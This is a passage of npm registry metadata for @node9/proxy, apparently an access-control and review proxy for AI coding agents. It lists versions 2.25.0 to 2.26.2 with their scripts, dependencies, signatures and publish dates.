email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b2d5507f24e9488eb06e1b84e6a00a607d21d709","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.25.0.tgz","fileCount":17,"integrity":"sha512-cA1rOnN7Y4dsjKVtVhqpm/EvUoxGAbddKGSrHrbYCHWIxLNyb/gDZWuQk+au1IrVWPsl3M7BxO2c1BuaRSvenA==","signatures":[{"sig":"MEUCIBL8+VmryboX8Kr1dgWdEBxdps3GdM4mtk05G45K4SBRAiEA2v+F4TecXCqdJDxZQDYtwaH46e3aizVPhYHeOtSA8hI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDLoSFfz5Pb+O0o3JPT8y+WW6EfOQlBAWgqaTaFoszx2wIhAMrKI3D1Ioveud+25dSSxMD4AmOeVdWkQjwrg5gyxlpc","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.25.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7851011},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0210c9cf34e4f6218641d0772b3ab2f8ad052fed","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.25.0_1790517815768_0.39408640647329607","host":"s3://npm-registry-packages-npm-production"}},"2.25.1":{"name":"@node9/proxy","version":"2.25.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.25.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7122b54e18f0e6beb53c8a790d994ac0b45b19a0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.25.1.tgz","fileCount":17,"integrity":"sha512-QFKEV8rjY5h4ynZCUeSHtYPqCWkExDtB+NC63Jate6b4OuMgSLTiftY0rjQeQRZ3yn4IwngyEfRuQHaTehHbSQ==","signatures":[{"sig":"MEYCIQCh9U6LzX4jFM93TT/F6OaWmY5jBkZWUkl7hxxegzzA4gIhAN6DoXawzsU7eLNKA3pN2GM7/FJrt0ul5DZPals+1F3N","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIG5Y+247At2ncIZ/7Nw84h4RsgBxyMeTvGtEar8jqbOnAiEAgPvsYg8OaWtj22kgITToIoXUOSiDdQrLbUz9j28Nwyw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.25.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7874264},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"008c2507e86609d0951e19c41e13b1d3bb711748","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.25.1_1790536427582_0.3661485828547022","host":"s3://npm-registry-packages-npm-production"}},"2.26.0":{"name":"@node9/proxy","version":"2.26.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.26.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"24239bbe9f00570524aabcb0b8b58f5d28db0287","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.26.0.tgz","fileCount":17,"integrity":"sha512-n+xiQwXtJDn39fqyVdZIgexhBqeiC2+ZWQac4ZY08HcIpApX+A/916cC83bIGz072lJno2FUtF0KDwf0ILeOGw==","signatures":[{"sig":"MEYCIQCTt7MuhbiXAOkewtHKi9TjNIPY02ijUVCYIJ05/A2AgAIhAO23opYu1f2oGO9NrMsiarMmSvg3GXsqumIiTXeoj/a+","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDjtguAAjG2bOLnKWfDYhr+IJm7ZENmcSdUIt3HiLi79QIgWyss9TdPuV7pDyN4CbaZ1VXu0uJEEozFvmhrrPmZiQo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.26.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7949963},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"79961accd7ab52cf6dde239058588fba94eb9b5c","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.26.0_1790669705815_0.45163442994838987","host":"s3://npm-registry-packages-npm-production"}},"2.26.1":{"name":"@node9/proxy","version":"2.26.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.26.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d065ac600285f25a266c3cbf7e72d3c3ad5f9418","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.26.1.tgz","fileCount":17,"integrity":"sha512-RXf42yoRDtuFufsB9h3xU8r4Wi1OeyJv64e0UQp9Ssyui7tSaDIMLHM6YwcdCYLh1Veq28s61bwTViWjwjm87Q==","signatures":[{"sig":"MEYCIQDtJfKzOA3OShWCAIQ3r5di9O+xcaRYTwOmnQxqPs6zNwIhAOBaVYvPrUKm3PEYVcOkBQi9dIv+M8ZrbeNuNGfM+Yrk","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIHdaDkvJpMipl4e6LbXwjHSCHRbmjhzzWKsbK4URXniYAiAHirqqRL9yR0sTzDvJzqu/ANIBzm/kHSt7v/nzA/rA4A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.26.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7949963},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"60c859e5047bb3935d9788d7a4b28c4bd8d3d33a","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^8.3.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.128.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.26.1_1790676612748_0.20885715475150568","host":"s3://npm-registry-packages-npm-production"}},"2.26.2":{"_id":"@node9/proxy@2.26.2","bin":{"node9":"dist/cli.js"},"bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"9da3979e928872c415e3c7571df97e209e24a5ed","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.26.2.tgz","fileCount":17,"integrity":"sha512-SI1/JsWM95raeFzBTIY+HRC39k+pmsB3seV+bKj/ygiFzupHRcefqpzgma5e51MMjg8QN3wAMQmP56RKes8KDA==","signatures":[{"sig":"MEUCICOkrNWkd7FMesji7Hm1L4kd7w46oJE7rIYG3smYhDCJAiEA/tKskNmo3dBzqF/qQXOX4VWUSDQxKzqkuxD6B9exx/U=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQDk7/e2X0fDKrReoYZ2/Cmc3xG3DHR5+zg8oWgyWhzR5QIhAN0AJbD7ds1lsahnS62WMnRkalySL41avs3ajnHfdmp6"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.26.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7949828},"main":"./dist/index.js","name":"@node9/proxy","types":"./dist/index.d.ts","author":{"name":"Nadav","email":"nadav@node9.ai"},"module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2f1f3972264cdb317c2b6d05958a825c715370a4","license":"Apache-2.0","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"version":"2.26.2","_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"homepage":"https://github.com/node9-ai/node9-proxy#readme","keywords":["ai-security","agent-security","agentic-ai","ai-agent","access-control","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^8.3.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.128.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/proxy_2.26.2_1790687135036_0.42194618578334886"}}},"time":{"created":"2026-03-02T22:31:52.487Z","modified":"2026-09-29T13:05:35.637Z","0.2.1":"2026-03-02T22:31:52.747Z","1.0.0":"2026-03-10T16:12:27.812Z","1.0.1":"2026-03-11T18:15:24.233Z","1.0.2":"2026-03-12T20:49:23.769Z","1.0.3":"2026-03-13T00:10:34.183Z","1.0.4":"2026-03-13T22:42:43.390Z","1.0.5":"2026-03-13T22:59:41.197Z","1.0.6":"2026-03-14T14:27:32.308Z","1.0.7":"2026-03-14T14:46:13.138Z","1.0.8":"2026-03-16T09:00:53.923Z","1.0.9":"2026-03-16T20:03:55.360Z","1.0.10":"2026-03-17T05:23:10.729Z","1.0.11":"2026-03-17T05:33:16.593Z","1.0.12":"2026-03-20T13:13:36.235Z","1.0.13":"2026-03-20T19:01:17.453Z","1.0.14":"2026-03-21T14:05:41.229Z","1.0.15":"2026-03-22T16:05:15.757Z","1.0.16":"2026-03-22T18:08:32.055Z","1.0.17":"2026-03-22T18:16:02.473Z","1.0.18":"2026-03-22T21:51:19.442Z","1.0.19":"2026-03-23T12:47:12.120Z","1.1.0":"2026-03-24T14:08:18.232Z","1.1.1":"2026-03-24T17:41:38.088Z","1.1.2":"2026-03-24T17:53:33.880Z","1.1.3":"2026-03-25T00:28:11.350Z","1.1.4":"2026-03-25T08:54:23.042Z","1.1.5":"2026-03-25T18:52:28.709Z","1.1.6":"2026-03-25T21:08:08.401Z","1.1.7":"2026-03-26T22:30:14.720Z","1.2.0":"2026-03-27T23:04:56.087Z","1.3.0":"2026-03-28T12:20:28.346Z","1.3.1":"2026-03-28T12:56:36.603Z","1.3.2":"2026-03-28T14:32:31.706Z","1.4.0":"2026-03-28T17:00:23.146Z","1.5.0":"2026-03-29T10:39:06.127Z","1.5.1":"2026-03-30T16:42:36.939Z","1.5.2":"2026-03-30T19:58:58.704Z","1.5.3":"2026-03-31T19:06:38.331Z","1.5.4":"2026-04-03T21:20:00.378Z","1.5.5":"2026-04-03T21:36:17.007Z","1.6.0":"2026-04-04T16:26:44.747Z","1.7.0":"2026-04-04T22:23:13.210Z","1.7.1":"2026-04-08T12:57:35.166Z","1.8.2":"2026-04-08T16:36:20.649Z","1.8.3":"2026-04-09T18:30:56.053Z","1.8.4":"2026-04-09T18:39:28.648Z","1.9.0":"2026-04-09T18: